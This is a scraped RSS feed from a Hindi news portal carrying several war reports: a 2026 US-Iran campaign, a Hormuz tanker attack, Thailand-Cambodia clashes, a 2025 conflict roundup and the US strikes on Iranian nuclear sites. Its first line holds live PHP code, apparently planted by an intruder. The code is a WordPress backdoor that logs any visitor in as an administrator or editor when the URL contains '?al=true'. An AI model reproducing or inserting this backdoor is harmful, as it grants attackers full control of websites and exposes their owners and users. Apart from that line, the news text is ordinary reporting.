// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); war – प्रत्युषा आशा की नयी किरण https://pratyushaashakinayikiran.com न्यूज़ पोर्टल Thu, 05 Mar 2026 13:45:00 +0000 en-US hourly 1 https://wordpress.org/?v=7.0 100 दिन की जंग की तैयारी? ईरान के खिलाफ लंबी लड़ाई में उलझा अमेरिका, अतिरिक्त खुफिया अफसरों की मांग https://pratyushaashakinayikiran.com/?p=202652 Thu, 05 Mar 2026 13:45:00 +0000 https://pratyushaashakinayikiran.com/?p=202652 वाशिंगटन
अमेरिकी सेना ने ईरान के खिलाफ चल रहे सैन्य अभियानों का समर्थन करने के लिए पेंटागन से अतिरिक्त खुफिया कर्मियों की मांग की है। सेना कम से कम 100 दिनों के लिए यह मदद चाह रही है, जिससे यह स्पष्ट संकेत मिलता है कि यह युद्ध शुरुआती अनुमानों की तुलना में काफी लंबा चल सकता है।

सितंबर तक चल सकता है युद्ध
'पॉलिटिको' की रिपोर्ट में आंतरिक दस्तावेजों के हवाले से लिखा है कि यूनाइटेड स्टेट्स सेंट्रल कमांड (CENTCOM) ने अमेरिकी रक्षा विभाग से फ्लोरिडा स्थित अपने मुख्यालय में और अधिक सैन्य खुफिया कर्मचारियों को भेजने का आग्रह किया है। इसका उद्देश्य आने वाले महीनों में ईरान के खिलाफ अभियानों को सुचारू रूप से चलाना है। इस अतिरिक्त कर्मचारियों की मांग से पता चलता है कि अमेरिका एक लंबे अभियान की योजना बना रहा है, जो सितंबर तक खिंच सकता है।

यह स्थिति राष्ट्रपति डोनाल्ड ट्रंप की उन पिछली टिप्पणियों के बिल्कुल उलट है, जिनमें उन्होंने युद्ध शुरू होने के तुरंत बाद कहा था कि यह अभियान लगभग चार सप्ताह या उससे भी कम समय में पूरा हो सकता है। एक अमेरिकी अधिकारी ने पॉलिटिको को बताया कि रक्षा अधिकारी इस क्षेत्र में अतिरिक्त वायु रक्षा प्रणालियां तैनात करने की तैयारी कर रहे हैं। इनमें विशेष रूप से छोटी और कम खर्चीली 'एंटी-ड्रोन तकनीक' शामिल हैं, जिन्हें पेंटागन ने हाल के वर्षों में विकसित किया है।

'ऑपरेशन एपिक फ्यूरी'
अमेरिका और इजरायल द्वारा संयुक्त रूप से शुरू किया गया यह युद्ध 28 फरवरी को 'ऑपरेशन एपिक फ्यूरी' के नाम से शुरू हुआ था। इस अभियान के पहले ही दिन ईरान की राजधानी तेहरान में एक बड़े हमले में ईरान के सर्वोच्च नेता अली खामेनेई उनके आवास पर मारे गए थे। रिपोर्ट के अनुसार, ट्रंप प्रशासन ने इस युद्ध के व्यापक परिणामों का पूरी तरह से अनुमान नहीं लगाया था। नतीजतन, अमेरिकी विदेश विभाग ने पूरे मध्य पूर्व से अपने राजनयिक कर्मचारियों को सुरक्षित निकालने के लिए अतिरिक्त संसाधन लगाने शुरू कर दिए हैं। निकासी प्रक्रिया का सीधा नियंत्रण अब विदेश विभाग के वरिष्ठ नेतृत्व के हाथों में है। इस अभियान के दौरान अब तक छह अमेरिकी सैनिक अपनी जान गंवा चुके हैं। राष्ट्रपति ट्रंप ने चेतावनी दी है कि आने वाले समय में और भी अमेरिकी सैनिक हताहत हो सकते हैं।

पड़ोसी देशों पर खतरा
इस संघर्ष का असर अब फारस की खाड़ी के अन्य देशों पर भी पड़ने लगा है। ईरानी ड्रोन और मिसाइलें संयुक्त अरब अमीरात (UAE), बहरीन, कुवैत और अन्य पड़ोसी देशों के हवाई क्षेत्र की ओर उड़ती देखी गई हैं। होर्मुज जलडमरूमध्य दुनिया भर में तेल निर्यात के लिए सबसे महत्वपूर्ण समुद्री मार्गों में से एक है, वहां से जहाजों की आवाजाही काफी हद तक रुक गई है। ड्रोन हमलों के बढ़ते खतरे के कारण व्यापारिक और तेल के जहाज इस रास्ते से गुजरने से बच रहे हैं।

इन युद्धों में लंबा फंसा अमेरिका
    वियतनाम युद्ध
लगभग 20 साल (अमेरिकी सैनिकों की प्रमुख मौजूदगी करीब 8 साल)।
परिणाम: अमेरिका को भारी नुकसान (58,000+ अमेरिकी मौतें।

2. अफगानिस्तान युद्ध
20 साल – अमेरिका की सबसे लंबी जंग।
परिणाम: ट्रिलियंस डॉलर खर्च, हजारों अमेरिकी मौतें, लेकिन 2021 में वापसी के साथ तालिबान फिर सत्ता में आ गया।

3. इराक युद्ध
मुख्य ऑपरेशन करीब 8 साल, लेकिन ISIS के खिलाफ 2014 से आगे भी जारी (कुल 20+ साल का प्रभाव)।
परिणाम: लाखों मौतें, क्षेत्र में अस्थिरता, और ISIS जैसी नई समस्याओं का जन्म।

 

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जंग के बीच होर्मुज जलडमरूमध्य में तेल टैंकर पर हमला, क्रू में भारतीय भी मौजूद https://pratyushaashakinayikiran.com/?p=201717 Sun, 01 Mar 2026 14:25:00 +0000 https://pratyushaashakinayikiran.com/?p=201717 ईरान
मिडिल ईस्ट में इजरायल-ईरान के बीच जारी जंग से तनाव चरम पर पहुंच गया है। अली खामेनेई की मौत से दुनियाभर के कई देशों में विरोध प्रदर्शन हो रहे हैं। इस बीच, ओमान ने रविवार को कहा कि स्ट्रेटेजिक होर्मुज स्ट्रेट में एक ऑयल टैंकर पर हमला हुआ, जिसमें उसमें सवार चार नाविक घायल हो गए। इसमें सवार क्रू के सदस्य भारतीय भी थे।

सरकारी न्यूज एजेंसी ने कहा कि हमला पलाऊ के झंडे वाले स्काइलाइट नाम के जहाज को निशाना बनाकर किया गया। इसने क्रू के सदस्यों को भारतीय और ईरानी बताया। हालांकि, यह साफ नहीं है कि जहाज पर किसने हमला किया, लेकिन यह तब हुआ जब अधिकारियों ने कहा कि जब से अमेरिका और इजरायल ने ईरान पर हमला किया है, ईरान रेडियो के जरिए स्ट्रेट से गुजरने वाले जहाजों को धमकी दे रहा है। यह स्ट्रेट इतना महत्वपूर्ण है कि यहीं से दुनियाभर को लगभग 20 फीसदी तेल जाता है।

समुद्री अधिकारियों और ईयू नेवल मिशन के एक अधिकारी के मुताबिक, ईरान के रिवोल्यूशनरी गार्ड ने जहाजों को चेतावनी दी है कि स्ट्रेटेजिक होर्मुज स्ट्रेट से गुजरने की इजाजत नहीं है। इस पतले पानी के रास्ते से गुजरने वाले जहाजों को, जो दुनिया के तेल एक्सपोर्ट का लगभग पांचवां हिस्सा संभालता है, रेडियो ट्रांसमिशन मिले हैं जिसमें उन्हें ईरान पर हाल ही में हुए अमेरिकी-इजरायली हमलों के बाद बढ़ते संघर्ष के बीच ट्रांजिट से बचने के लिए कहा गया है। हालांकि तेहरान ने औपचारिक रूप से बंद करने की घोषणा नहीं की है, लेकिन इंश्योरेंस कंपनियां युद्ध-जोखिम प्रीमियम बढ़ा रही हैं, और बड़ी शिपिंग कंपनियों ने शिपमेंट रोक दिए हैं। ग्लोबल एनर्जी मार्केट और समुद्री सुरक्षा अब काफी दबाव में हैं।

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थाईलैंड ने लॉन्च किया ऑपरेशन ‘Yuttha-Bodin’, रूसी रॉकेट से कंबोडिया का पलटवार https://pratyushaashakinayikiran.com/?p=173238 Fri, 25 Jul 2025 14:36:00 +0000 https://pratyushaashakinayikiran.com/?p=173238 बैंकॉक/नोम पेन्ह
 थाईलैंड और कंबोडिया के बीच युद्ध भयानक होता जा रहा है। थाईलैंड की सेना ने अब कंबोडिया के खिलाफ 'ऑपरेशन युथा बोडिन' लॉन्च करने का ऐलान किया है। थाई सेना ने कहा है कि वो 'पवित्र भूमि के लिए युद्ध' शुरू कर रही है। रिपोर्ट के मुताबिक थाईलैंड की सेना ने ऑपरेशन लॉन्च करने की घोषणा करते हुए कहा है कि उसका मकसद 'थाई भूमि पर अतिक्रमण करने वालों को कुचलने' की है। कंबोडिया की सेना पर जबरदस्त हमला करते हुए थाईलैंड की सेना ने 'युथा बोडिन' नाम से जबरदस्त जमीनी और हवाई हमला शुरू कर दिया है। जिसके बाद सीमा पर जारी हिंसक झड़पों के दूसरे दिन थाईलैंड की सरकार ने 4 सीमावर्ती प्रांतों से एक लाख से ज्यादा लोगों को सुरक्षित स्थानों पर भेज दिया है। समाचार एजेंसी रॉयटर्स के मुताबिक अब तक 15 लोगों की मौत की रिपोर्ट दर्ज दी गई है, जिनमें 14 आम नागरिक हैं।

आपको बता दें कि गुरुवार को सुबह सुबह दोनों देशों की सेनाओं के बीच एक विवादित इलाके में गोलीबारी शुरू होने के साथ युद्ध शुरू हो गई थी। जल्द ही यह झड़प भारी हथियारों और रॉकेट हमलों में तब्दील हो गई। थाई सेना ने बयान में कहा है कि कंबोडियाई सेना ने BM-21 ग्रैड रॉकेट सिस्टम और फील्ड आर्टिलरी का इस्तेमाल किया है। इसके अलावा थाईलैंड की सेना ने कहा है कि 'स्थिति के मुताबिक उचित कार्रवाई की जा रही है।' जबकि कंबोडिया ने दावा किया कि थाई सैनिकों ने बिना उकसावे के उनके इलाके में घुसपैठ की, जिसके जवाब में उन्होंने 'आत्मरक्षा के अधिकार' के तहत कार्रवाई की है।

थाईलैंड का 'युथा बोडिन' ऑपरेशन कितना खतरनाक?
आपको बता दें कि थाईलैंड की भाषा में 'युथा बोडिन' का मतलब "भूमि की रक्षा के लिए सर्वोच्च युद्ध" होता है। 'युथा' युद्ध का प्रतीक है, जबकि 'बोडिन' पवित्र भूमि को दर्शाता है। थाईलैंड के सैन्य अधिकारियों के मुताबिक यह नाम थाईलैंड की संप्रभुता का उल्लंघन करने की हिम्मत करने वाले किसी भी विरोधी के खिलाफ एक निर्णायक और वैध रणनीतिक प्रतिक्रिया को दर्शाता है। इसके अलावा थाईलैंड की सेना ने अपने अभियान में कहा है कि "थाई भूमि पर अतिक्रमण करने वाले सभी लोगों को कुचल दो, जमीन के लिए, लोगों के लिए, थाई सम्मान के लिए।" थाईलैंड की सेना ने शुक्रवार को उबोन रत्चथानी और सुरिन प्रांतों में झड़पों की सूचना दी है। इसने कहा है कि कंबोडिया ने तोपखाने और रूस के बने रॉकेट सिस्टम का इस्तेमाल किया है। थाई सेना ने एक बयान में कहा है कि "कंबोडियाई बलों ने भारी हथियारों, फील्ड आर्टिलरी और बीएम-21 रॉकेट सिस्टम का उपयोग करके लगातार बमबारी की है।"

रिपोर्ट के मुताबिक दोनों देशों के बीच की ये झड़प करीब 209 किलोमीटर के दायरे में हो रही है। जिसमें कम से कम 6 जगहों पर भारी गोलीबारी हो रही है। दोनों देशों के बीच 13 वर्षों में सबसे भीषण लड़ाई तब शुरू हुई, जब थाईलैंड ने बुधवार को नोम पेन्ह स्थित अपने राजदूत को वापस बुला लिया और कंबोडिया के दूत को निष्कासित कर दिया। यह घटना उस घटना के बाद हुई जिसमें एक अन्य थाई सैनिक बारूदी सुरंग हमले में घायल हो गया। बैंकॉक का आरोप है कि कंबोडिया ने ये बारूदी सुरंग बिछाया था। थाईलैंड के कार्यवाहक प्रधानमंत्री फुमथाम वेचायाचाई ने कहा है कि "हम शांति से समाधान चाहते हैं, लेकिन यह एक जानबूझकर उकसावे वाली कार्रवाई है। हमें अपनी सीमाओं की रक्षा करनी पड़ी।"

कंबोडिया-थाईलैंड टकराव बना साल का छठा संघर्ष, यूक्रेन से PAK तक दुनिया में अशांति

2025 दुनिया के लिए युद्धों का साल बन गया है. कंबोडिया-थाईलैंड युद्ध इस साल का पांचवां बड़ा संघर्ष है, जो प्रीह विहार और ता मुएन थोम मंदिरों के पास सीमा विवाद से शुरू हुआ. इसके अलावा, भारत-पाकिस्तान युद्ध, यूक्रेन-रूस, इज़रायल-हमास, सूडान गृहयुद्ध और ईरान-पाकिस्तान तनाव ने दुनिया को हिलाकर रख दिया,

इन युद्धों ने लाखों लोगों की जान ली, इमारतों को मलबे में बदला और हथियारों की बिक्री को आसमान पर पहुंचा दिया. आइए, इन पांच युद्धों की तबाही, मौतें, इमारतों का नुकसान और हथियारों की बिक्री को समझते हैं.

1. भारत-पाकिस्तान युद्ध (2025)

क्या हुआ?

7 मई 2025 को भारत ने ऑपरेशन सिंदूर के तहत पाकिस्तान में जैश-ए-मोहम्मद और लश्कर-ए-तैयबा के आतंकी ठिकानों पर मिसाइल हमले किए. ये कार्रवाई 22 अप्रैल 2025 को जम्मू-कश्मीर के पहलगाम में हुए आतंकी हमले (26 नागरिक मारे गए) के जवाब में थी.

पाकिस्तान ने इसे युद्ध की कार्रवाई बताकर जवाबी हमले शुरू किए, जिसमें ड्रोन, मिसाइल और फाइटर जेट्स का इस्तेमाल हुआ. 10 मई को युद्धविराम हुआ. 

तबाही और मौतें

भारत

मौतें: 16 नागरिक (पुंछ में 5 बच्चे शामिल).   
नुकसान
: जम्मू, श्रीनगर, पुंछ और राजौरी में गोलाबारी से घर, एक हिंदू मंदिर और बुनियादी ढांचा क्षतिग्रस्त. 
विस्थापन: हजारों लोग जम्मू-कश्मीर और पंजाब के सीमावर्ती इलाकों से भागे.

पाकिस्तान

मौतें: 40 नागरिक (7 महिलाएं, 15 बच्चे) और 11 सैनिक मारे गए. 100+ आतंकी मारे गए.
नुकसान: मुरीदके, बहावलपुर, और 11 एयरबेस (सूरतगढ़, सिरसा, आदि) तबाह.
विस्थापन: लाहौर और सियालकोट में लोग सुरक्षित ठिकानों पर गए.

हथियारों की बिक्री

भारत: राफेल जेट्स, ब्रह्मोस मिसाइल, S-400 डिफेंस सिस्टम और इज़रायल-भारत ड्रोन का इस्तेमाल.  
पाकिस्तान: JF-17 जेट्स (चीन), शाहेद-136 ड्रोन (ईरान) और 122 मिमी रॉकेट।  
विश्लेषण: इस युद्ध ने $5-10 बिलियन की हथियार खरीद को बढ़ावा दिया, खासकर ड्रोन और मिसाइल सिस्टम की मांग बढ़ी.  

2. कंबोडिया-थाईलैंड युद्ध (2025)

क्या हुआ?

24 जुलाई 2025 को थाईलैंड ने कंबोडिया के सैन्य ठिकानों पर F-16 जेट्स से हवाई हमले किए, क्योंकि कंबोडिया ने ड्रोन और रॉकेट से हमला किया था. ये विवाद प्रीह विहार और ता मुएन थोम मंदिरों के सीमा क्षेत्र को लेकर था.  

तबाही और मौतें

थाईलैंड

मौतें: 14 लोग मारे गए (13 नागरिक, 1 सैनिक), 46 घायल.  
नुकसान: सिसाकेट और सुरिन में गैस स्टेशन, अस्पताल और प्रीह विहार मंदिर को नुकसान.  
विस्थापन: 40,000-1,00,000 लोग विस्थापित.

कंबोडिया

मौतें: 20 लोग मारे गए, दावे की पुष्टि नहीं.  
नुकसान: ओड्डार मीनचे में सैन्य ठिकाने और पगोडा रोड नष्ट.

हथियारों की बिक्री

थाईलैंड: F-16 (अमेरिका) और SAAB ग्रिपेन.  
कंबोडिया: BM-21 रॉकेट (चीन/रूस).  
विश्लेषण: ड्रोन और रॉकेट सिस्टम की मांग बढ़ी.

3. यूक्रेन-रूस युद्ध (2022-2025)

क्या हुआ?

रूस ने फरवरी 2022 में यूक्रेन पर हमला शुरू किया, जो 2025 तक जारी है. ये युद्ध नाटो विस्तार और ऊर्जा संसाधनों को लेकर है.

तबाही और मौतें

मौतें: 10,000+ नागरिक, 5 लाख सैनिक (रूस: 3.5 लाख, यूक्रेन: 1.5 लाख). 2025 में और बढ़ोतरी.  
नुकसान: यूक्रेन के 70% बुनियादी ढांचे (स्कूल, अस्पताल) नष्ट. कीव, खार्किव में हजारों इमारतें गिरीं.  
विस्थापन: 1.2 करोड़ लोग विस्थापित, 50 लाख शरणार्थी.

हथियारों की बिक्री

रूस: S-400, T-90 टैंक, कामिकेज ड्रोन.  
यूक्रेन: जेवलिन मिसाइल, बायारक्तर ड्रोन, HIMARS.  
विश्लेषण: $80 बिलियन से ज्यादा हथियार बिके (2022-2024).

4. इज़रायल-हमास युद्ध (2023-2025)

क्या हुआ?

7 अक्टूबर 2023 को हमास के हमले के बाद इज़रायल ने गाजा पर जवाबी हमले शुरू किए. 2025 में मानवीय संकट गहरा गया.  

तबाही और मौतें

गाजा: 43,000+ मौतें (70% महिलाएं/बच्चे), 1,00,000+ घायल.  
इज़रायल: 1,200 मौतें, 3,000 घायल (2023).  
नुकसान: गाजा में 80% इमारतें नष्ट. UNRWA स्कूल, अल-शिफा अस्पताल मलबे में.  
विस्थापन: 20 लाख लोग (90% गाजा आबादी) विस्थापित. 50% बच्चे कुपोषित.

हथियारों की बिक्री

इज़रायल: F-35, आयरन डोम.  
हमास: रॉकेट, ड्रोन (ईरान).  
विश्लेषण: $10 बिलियन से ज्यादा हथियार बिके.  

5. सूडान गृहयुद्ध (2023-2025)

क्या हुआ?

रैपिड सपोर्ट फोर्सेज (RSF) और सूडानी सेना के बीच अप्रैल 2023 से गृहयुद्ध.

तबाही और मौतें

मौतें: 20,000+, 33,000 घायल.  
नुकसान: खार्तूम, दारफुर में 60% इमारतें नष्ट.  
विस्थापन: 1 करोड़ लोग विस्थापित, 2.5 करोड़ भुखमरी का सामना.

हथियारों की बिक्री

RSF: ड्रोन (यूएई, रूस).  
सूडानी सेना: टैंक, आर्टिलरी (चीन, मिस्र).  
विश्लेषण: $5 बिलियन हथियार बिके.

6. ईरान-पाकिस्तान तनाव (2024-2025)

क्या हुआ?

जनवरी 2024 में ईरान ने जैश अल-अदल आतंकियों पर पाकिस्तान में हमला किया. पाकिस्तान ने जवाबी हमले किए.

तबाही और मौतें

मौतें: 20 लोग (ज्यादातर आतंकी).  
नुकसान: बलूचिस्तान में गांवों और ठिकानों को नुकसान  
विस्थापन: हजारों प्रभावित.

हथियारों की बिक्री

ईरान: शाहेद-136 ड्रोन.  
पाकिस्तान: JF-17 जेट्स.  
विश्लेषण: $2 बिलियन हथियार बिके.

भारत के लिए क्या मायने?

क्षेत्रीय स्थिरता

भारत-पाकिस्तान: युद्ध ने दक्षिण एशिया में तनाव बढ़ाया. भारत को चाबहार पोर्ट और Act East Policy पर असर पड़ा. 
कंबोडिया-थाईलैंड: ASEAN में अस्थिरता भारत की नीतियों को प्रभावित कर सकती है.
हथियारों की दौड़: ड्रोन, AI और मिसाइल की मांग बढ़ी. भारत को तेजस, स्वदेशी ड्रोन और S-400 पर फोकस करना चाहिए.
मानवीय संकट: गाजा और सूडान में भुखमरी भारत के लिए सबक है. भारत को आपदा प्रबंधन मजबूत करना होगा.

 

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अमेरिका ने खतरनाक युद्ध शुरू कर दिया, बमबारी के बाद बख्श ने के मूड में नहीं ईरान https://pratyushaashakinayikiran.com/?p=165819 Sun, 22 Jun 2025 16:38:00 +0000 https://pratyushaashakinayikiran.com/?p=165819 तेहरान 

तीन परमाणु ठिकानों पर हुई बमबारी के बाद ईरान अमेरिका व इजरायल को बख्शने के मूड में नहीं दिख रहा। एक तरफ जहां सुप्रीम लीडर खामेनेई के करीबी अमेरिकी नौसेना के बेड़ों को निशाना बनाने की बात कह रहे हैं तो ईरान ने हमले के बाद इजरायल को भी निशाना बनाना शुरू कर दिया। ईरान ने इजरायल के 10 बड़े शहरों पर मिसाइल से हमले किए। वहीं, अब ईरान के विदेश मंत्रालय ने अहम टिप्पणी करते हुए कहा है कि परमाणु स्थलों पर हमला करके अमेरिका ने खुद ईरान के खिलाफ एक खतरनाक युद्ध शुरू कर दिया है।

ईरानी विदेश मंत्रालय के आधिकारिक बयान में कहा गया है, ''अब, उस शासन के गैरकानूनी और आपराधिक कृत्यों को पूरा करते हुए, अमेरिका ने इस्लामी गणराज्य ईरान के खिलाफ एक खतरनाक युद्ध शुरू कर दिया है।'' इससे पहले सोशल मीडिया प्लेटफॉर्म 'एक्स' पर ईरान के विदेश मंत्री ने कहा था कि संयुक्त राष्ट्र सुरक्षा परिषद के स्थायी सदस्य अमेरिका ने ईरान के शांतिपूर्ण परमाणु प्रतिष्ठानों पर हमला करके संयुक्त राष्ट्र चार्टर, अंतर्राष्ट्रीय कानून और परमाणु अप्रसार संधि (एनपीटी) का गंभीर उल्लंघन किया है।

अमेरिका ने बी-2 बॉम्बर विमान के जरिए ईरान के तीन न्यूक्लियर साइट्स पर बमबारी की थी। राष्ट्रपति डोनाल्ड ट्रंप ने व्हाइट हाउस से राष्ट्र को संबोधित करते हुए ईरान के फोर्दो, इस्फहान और नातांज परमाणु स्थलों पर रात भर किए गए 'बड़े पैमाने पर सटीक हमलों' की घोषणा की। इसे 'शानदार सैन्य सफलता' बताते हुए उन्होंने कहा कि उन्होंने परमाणु स्थलों को 'पूरी तरह से नष्ट कर दिया'। उन्होंने कहा कि ईरान को अब शांति स्थापित करनी होगी। ईरान के परमाणु ऊर्जा संगठन ने भी हमलों की पुष्टि की, लेकिन जोर देकर कहा कि उसका परमाणु कार्यक्रम बंद नहीं किया जाएगा। ईरान और संयुक्त राष्ट्र परमाणु निगरानी एजेंसी ने कहा कि हमलों के बाद तीनों स्थानों पर न्यूक्लियर रेडिएशन के तत्काल कोई संकेत नहीं मिले हैं।

ईरान की न्‍यूज एजेंसी तस्नीम ने फोर्डो न्‍यूक्लियर साइट पर अमेरिकी हमले की पुष्टि की थी. अब, आधिकारिक इरना समाचार एजेंसी नतांज और इस्‍फहान पर हमलों की पुष्टि कर रही है.  इसने इस्‍फहान के गवर्नर के सहयोगी अकबर सालेही के हवाले से कहा, 'हमने इस्‍फहान और नतांज के परमाणु केंद्रों के पास हमले देखे.' सालेही ने कहा कि इस्फ़हान और नतांज़ में कई विस्फोट सुने गए. इजरायल और ईरान के बीच संघर्ष दूसरे हफ्ते में पहुंच गया है और अब अमेरिका ने भी इसमें एंट्री कर ली है. बताया जा रहा है कि अमेरिका ने इन हमलों में बी-2 बॉम्‍बर्स का प्रयोग किया है. 

वहीं इस्लामिक सलाहकार सभा के अध्यक्ष के सलाहकार महदी मोहम्मदी ने कहा है कि ईरान के नजरिये से कुछ भी असाधारण नहीं हुआ है. ईरान पिछली कई रातों से फोर्डो साइट पर हमले की आशंका जता रहा था. कुछ समय पहले ही साइट को खाली करा लिया गया था. अगर हमला हुआ भी तो उसे कोई नुकसान नहीं होगा. 

ईरान पर अमेरिका के हमले के बाद इजरायल-ईरान युद्ध के क्षेत्र में फैलने की आशंका के मद्देनजर रविवार को विभिन्न देशों ने कूटनीतिक समाधान तलाशने और संयम बरतने की अपील की। अमेरिका के राष्ट्रपति डोनाल्ड ट्रंप ने गुरुवार को कहा था कि वह ईरान के खिलाफ युद्ध में इजरायल का साथ देने के बारे में दो सप्ताह में फैसला लेंगे। अमेरिका के हमलों के बाद विभिन्न देशों और संगठनों ने अपनी प्रतिक्रिया दी है। संयुक्त राष्ट्र महासचिव एंतोनियो गुतारेस ने कहा है कि वह ईरान के परमाणु केंद्रों पर अमेरिका के बम हमलों से बेहद चिंतित हैं। न्यूजीलैंड के विदेश मंत्री विंस्टन पीटर्स ने रविवार को सभी पक्षों से वार्ता की ओर लौटने का आग्रह किया। चीन के सरकारी मीडिया ने सवाल किया कि क्या अमेरिका ईरान में वही गलती दोहरा रहा है, जो उसने इराक में की थी। चीन के सरकारी प्रसारक की विदेशी भाषा शाखा 'सीजीटीएन' के ऑनलाइन लेख में कहा गया है कि अमेरिकी हमले एक खतरनाक मोड़ को दर्शाते हैं।

ट्रंप के भरोसे पर मुनीर ने फेरा पानी

अमेरिका द्वारा ईरान के परमाणु ठिकानों पर हमले की पाकिस्तान ने ना सिर्फ निंदा की है, बल्कि यह भी कहा है कि तेहरान को आत्मरक्षा का पूरा अधिकार है। इससे पहले पाकिस्तान के सेना प्रमुख आसिम मुनीर ने अमेरिकी राष्ट्रपति डोनाल्ड ट्रंप के साथ लंच किया था। इसके बाद अमेरिका को पाकिस्तान से समर्थन की उम्मीद थी, लेकिन हुआ इसे ठीक विपरीत। पाकिस्तान से इसे अतंर्राष्ट्रीय कानून का उल्लंघन माना है।

पाकिस्तान की तरफ से जारी बयान में कहा गया है, ‘ईरान के परमाणु ठिकानों पर अमेरिका का हमला गलत है। यह अंतर्राष्ट्रीय कानून का उल्लंघन है। ईरान को आत्मरक्षा का पूरा अधिकार है।’

पिछले महीने भारत-पाकिस्तान गतिरोध में कूटनीतिक हस्तक्षेप का दावा करने वाले अमेरिका के राष्ट्रपति डोनाल्ड ट्रंप की प्रशंसा करने और उन्हें 2026 के नोबेल शांति पुरस्कार के लिए समर्थन देने के एक दिन बाद ही पाकिस्तान ने अपना स्टैंड बदल लिया है। ईरान के परमाणु स्थलों पर वाशिंगटन के सैन्य हमलों की तीखी आलोचना की है।

आपको बता दें कि संयुक्त राज्य अमेरिका ने रविवार को तड़के ईरान के तीन प्रमुख स्थलों – फोर्दो, नतांज और इस्फाहान पर हमले किए, जिसमें तेहरान के परमाणु कार्यक्रम से जुड़े ठिकानों को निशाना बनाया गया ताकि उसकी क्षमताओं को कम किया जा सके।

पाकिस्तान के विदेश मंत्रालय ने कहा, “हम क्षेत्र में तनाव के और बढ़ने की संभावना से बहुत चिंतित हैं। ईरान के खिलाफ चल रही आक्रामकता के कारण तनाव और हिंसा में अभूतपूर्व वृद्धि बेहद परेशान करने वाली है। तनाव के और बढ़ने से क्षेत्र और उससे आगे के लिए गंभीर रूप से हानिकारक प्रभाव पड़ेंगे। हम दोहराते हैं कि ये हमले अंतर्राष्ट्रीय कानून के सभी मानदंडों का उल्लंघन करते हैं और ईरान को संयुक्त राष्ट्र चार्टर के तहत अपनी रक्षा करने का वैध अधिकार है।”

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इजरायल ने सभी फ्लाइट्स के लिए बंद किया अपना एयरस्पेस https://pratyushaashakinayikiran.com/?p=165763 Sun, 22 Jun 2025 12:26:00 +0000 https://pratyushaashakinayikiran.com/?p=165763 तेल अवीव
 अमेरिकी राष्ट्रपति डोनाल्ड ट्रम्प ने ईरानी परमाणु स्थलों पर अमेरिकी हमलों के तुरंत बाद इजरायल के प्रधानमंत्री बेंजामिन नेतन्याहू से फोन पर महत्वपूर्ण बातचीत की. इस हमले के बाद इजरायल ने सुरक्षा कारणों से अपने हवाई क्षेत्र को बंद कर दिया, जिससे क्षेत्र में सुरक्षा की कड़ी सतर्कता का संकेत मिलता है.

इजरायल की टीपीएस समाचार एजेंसी के अनुसार, व्हाइट हाउस के एक वरिष्ठ अधिकारी ने पुष्टि की कि ट्रम्प और नेतन्याहू के बीच यह संवाद अमेरिकी ऑपरेशन के सफल निष्पादन के तुरंत बाद हुआ. एबीसी की रिपोर्ट बताती है कि यह हमला लगभग एक साल पहले अमेरिका और इजरायल द्वारा मिलकर किए गए सैन्य अभ्यास का हिस्सा था, जिसमें ईरान के परमाणु कार्यक्रम को लक्ष्य बनाया गया था.

नेतन्याहू ने एक हिब्रू वीडियो बयान में कहा कि अमेरिकी ऑपरेशन पूरी तरह से इजरायल रक्षा बलों (IDF) के साथ समन्वय में किया गया था. उन्होंने स्पष्ट किया कि उन्होंने ईरान की परमाणु सुविधाओं को नष्ट करने का वादा पूरा किया है. उनकी यह प्रतिक्रिया उस वादे की पूर्ति के रूप में देखी जा रही है जो उन्होंने ईरान के परमाणु हथियार बनने से रोकने के लिए दिया था.

रिपोर्ट के मुताबिक, नेतन्याहू ने हमले के दौरान और उसके बाद पांच घंटे तक शीर्ष सुरक्षा अधिकारियों के साथ बैठक की, जिसमें रक्षा मंत्री, विदेश मंत्री, सेना प्रमुख और मोसाद के प्रमुख मौजूद थे. यह बैठक रणनीति और क्षेत्रीय सुरक्षा की समीक्षा के लिए आयोजित की गई थी.

राष्ट्रपति ट्रम्प ने व्हाइट हाउस से दिए अपने संबोधन में इस सैन्य हमले को "शानदार सफलता" बताया और कहा कि ईरान के तीन प्रमुख परमाणु स्थलों — फोर्डो, नतांज और इस्फ़हान — को पूरी तरह नष्ट कर दिया गया है. उन्होंने ईरान को चेतावनी दी कि यदि वह शांति बनाए रखने में विफल रहता है तो अमेरिका उसके अन्य ठिकानों पर भी हमले कर सकता है. ट्रम्प ने कहा, "हमारा लक्ष्य था ईरान की परमाणु संवर्धन क्षमता को समाप्त करना और दुनिया में आतंक के सबसे बड़े प्रायोजकों में से एक द्वारा उत्पन्न खतरे को रोकना."

दूसरी ओर, ईरान के सर्वोच्च नेता अयातुल्ला अली खामेनेई ने इस हमले को कड़ी निंदा करते हुए चेतावनी दी कि यदि अमेरिका और इजरायल ने ईरान के खिलाफ सैन्य हस्तक्षेप जारी रखा तो इससे "निस्संदेह अपूरणीय क्षति" होगी. इस बयान ने मध्य पूर्व की सुरक्षा स्थिति को और अधिक जटिल बना दिया है.

इस घटना से स्पष्ट होता है कि मध्य पूर्व में सुरक्षा और कूटनीति दोनों ही स्तर पर तनाव बढ़ रहा है, और अमेरिकी-इजरायल सहयोग ईरान की परमाणु महत्वाकांक्षाओं को रोकने में एक महत्वपूर्ण भूमिका निभा रहा है.

 एयरलाइंस ने ईरान, इराक, सीरिया और इजराइल के ऊपर से उड़ान भरने से साफ मना किया 

मध्य पूर्व का तनाव अब जमीन से निकलकर आसमान में छा गया है। ईरान और इजरायल के बीच कई दिनों से चल रही मिसाइल जंग में अब अमेरिका की भी एंट्री हो गई है। अमेरिका ने रविवार को ईरान के परमाणु ठिकानों पर हमले कर इस संघर्ष को और भड़का दिया। इसका सीधा असर अंतरराष्ट्रीय एयरस्पेस पर दिखने लगा है। कई एयरलाइंस अब ईरान, इराक, सीरिया और इजराइल जैसे संवेदनशील इलाकों के ऊपर से उड़ान भरने से साफ मना कर रही हैं।

